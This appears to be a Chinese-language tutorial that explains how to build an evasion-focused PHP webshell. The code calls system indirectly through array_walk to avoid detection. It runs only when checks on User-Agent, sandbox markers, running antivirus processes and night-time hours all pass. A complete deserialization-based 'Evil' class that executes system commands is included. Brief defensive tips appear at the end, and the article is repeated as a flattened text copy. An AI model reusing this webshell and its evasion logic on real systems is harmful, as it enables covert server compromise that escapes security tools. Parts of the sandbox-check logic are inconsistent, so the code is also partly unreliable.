多条件触发的免杀 Webshell
字数 1077 2025-08-29 08:30:18

多条件触发的免杀Webshell技术详解

前言

本文详细解析了一种基于多条件触发的PHP Webshell免杀技术,通过将变量作为函数使用并结合环境检测机制,可以有效绕过传统安全检测。该技术借鉴了shellcode免杀和云沙箱绕过的思路,通过设置多个运行条件,使Webshell只在特定环境下执行。

核心技术:array_walk回调函数

array_walk函数基础

array_walk是PHP内置函数,用于对数组每个元素应用用户自定义回调函数:

bool array_walk ( array &$array , callable $callback [, mixed $userdata = NULL ] )
  • $array: 要遍历的数组(按引用传递,可直接修改)
  • **\(callback**: 用户自定义回调函数,接收两个参数(值,键)或三个参数(值,键,\)userdata)
  • $userdata(可选): 传递给回调函数的额外数据
  • 返回值: 成功返回true,失败返回false

示例代码

$array = array("a" => "A", "b" => "B", "c" => "C");
$func = "strtolower";
array_walk($array, $func);
print_r($array);

输出:

Array
(
    [a] => a
    [b] => b
    [c] => c
)

免杀应用

通过将命令执行函数(如system)赋值给变量,然后使用array_walk调用,可以绕过对直接函数调用的检测:

$array = array("whoami");
$func = "system";
array_walk($array, $func);

多条件触发机制

1. 浏览器检测

只在特定浏览器访问时运行,通过检测User-Agent实现:

if(strpos($_SERVER['HTTP_USER_AGENT'], 'Chrome') !== false || 
   strpos($_SERVER['HTTP_USER_AGENT'], 'Firefox') !== false) {
    // 执行恶意代码
}

常见User-Agent示例:

  • Google Chrome: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
  • Mozilla Firefox: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0

2. 云沙箱环境检测

检测到沙箱环境时不运行:

// 检测文件或目录是否存在
if(!file_exists('/etc/hostname') || file_exists('/home/sandbox')) {
    exit;
}

// 检测特定函数是否被禁用
if(!function_exists('exec') || !function_exists('system')) {
    exit;
}

// 检测特定扩展是否加载
if(extension_loaded('suhosin') || extension_loaded('runkit')) {
    exit;
}

3. 杀毒软件检测

检测到杀毒软件进程时不运行:

// Windows系统检测
if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
    exec('tasklist', $output);
    $avProcesses = ['avp.exe', 'bdagent.exe', 'mbam.exe']; // 常见杀软进程
    foreach($avProcesses as $av) {
        if(strpos(implode("\n", $output), $av) !== false) {
            exit;
        }
    }
}
// Linux系统检测
else {
    exec('ps aux', $output);
    $avProcesses = ['clamav', 'rkhunter', 'chkrootkit'];
    foreach($avProcesses as $av) {
        if(strpos(implode("\n", $output), $av) !== false) {
            exit;
        }
    }
}

4. 时间条件控制

只在特定时间段运行(如非工作时间):

$hour = date('H');
if($hour >= 22 || $hour <= 6) { // 22:00到6:00之间
    // 执行恶意代码
}

完整示例代码

结合HGCTF反序列化的免杀马:

<?php
class Evil {
    public $func;
    public $args;
    
    public function __destruct() {
        // 多条件检测
        $conditions = true;
        
        // 1. 浏览器检测
        $conditions &= (strpos($_SERVER['HTTP_USER_AGENT'], 'Chrome') !== false || 
                       strpos($_SERVER['HTTP_USER_AGENT'], 'Firefox') !== false);
        
        // 2. 沙箱检测
        $conditions &= !file_exists('/etc/hostname') && !file_exists('/home/sandbox');
        $conditions &= function_exists('exec') && function_exists('system');
        $conditions &= !extension_loaded('suhosin') && !extension_loaded('runkit');
        
        // 3. 杀毒软件检测
        if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
            exec('tasklist', $output);
            $avProcesses = ['avp.exe', 'bdagent.exe', 'mbam.exe'];
            foreach($avProcesses as $av) {
                if(strpos(implode("\n", $output), $av) !== false) {
                    $conditions = false;
                    break;
                }
            }
        } else {
            exec('ps aux', $output);
            $avProcesses = ['clamav', 'rkhunter', 'chkrootkit'];
            foreach($avProcesses as $av) {
                if(strpos(implode("\n", $output), $av) !== false) {
                    $conditions = false;
                    break;
                }
            }
        }
        
        // 4. 时间检测
        $hour = date('H');
        $conditions &= ($hour >= 22 || $hour <= 6);
        
        // 满足所有条件才执行
        if($conditions) {
            array_walk(array($this->args), $this->func);
        }
    }
}

// 使用示例
$evil = new Evil();
$evil->func = "system";
$evil->args = "whoami";
?>

防御建议

  1. 禁用危险函数:在php.ini中禁用systemexecshell_exec等危险函数
  2. 严格过滤输入:对所有用户输入进行严格过滤和验证
  3. 监控异常行为:监控服务器上的异常进程和网络连接
  4. 定期更新规则:保持WAF和杀毒软件的规则库最新
  5. 限制文件上传:严格控制文件上传功能,限制可上传文件类型
  6. 代码审计:定期进行代码审计,特别是用户可控输入的处理部分

通过理解这些免杀技术,安全人员可以更好地防御此类攻击,而开发者也应避免在代码中留下可能被利用的漏洞。

多条件触发的免杀Webshell技术详解 前言 本文详细解析了一种基于多条件触发的PHP Webshell免杀技术,通过将变量作为函数使用并结合环境检测机制,可以有效绕过传统安全检测。该技术借鉴了shellcode免杀和云沙箱绕过的思路,通过设置多个运行条件,使Webshell只在特定环境下执行。 核心技术:array_ walk回调函数 array_ walk函数基础 array_walk 是PHP内置函数,用于对数组每个元素应用用户自定义回调函数: $array : 要遍历的数组(按引用传递,可直接修改) $callback : 用户自定义回调函数,接收两个参数(值,键)或三个参数(值,键,$userdata) $userdata (可选): 传递给回调函数的额外数据 返回值 : 成功返回true,失败返回false 示例代码 输出: 免杀应用 通过将命令执行函数(如 system )赋值给变量,然后使用 array_walk 调用,可以绕过对直接函数调用的检测: 多条件触发机制 1. 浏览器检测 只在特定浏览器访问时运行,通过检测User-Agent实现: 常见User-Agent示例: Google Chrome: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Mozilla Firefox: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0 2. 云沙箱环境检测 检测到沙箱环境时不运行: 3. 杀毒软件检测 检测到杀毒软件进程时不运行: 4. 时间条件控制 只在特定时间段运行(如非工作时间): 完整示例代码 结合HGCTF反序列化的免杀马: 防御建议 禁用危险函数 :在php.ini中禁用 system 、 exec 、 shell_exec 等危险函数 严格过滤输入 :对所有用户输入进行严格过滤和验证 监控异常行为 :监控服务器上的异常进程和网络连接 定期更新规则 :保持WAF和杀毒软件的规则库最新 限制文件上传 :严格控制文件上传功能,限制可上传文件类型 代码审计 :定期进行代码审计,特别是用户可控输入的处理部分 通过理解这些免杀技术,安全人员可以更好地防御此类攻击,而开发者也应避免在代码中留下可能被利用的漏洞。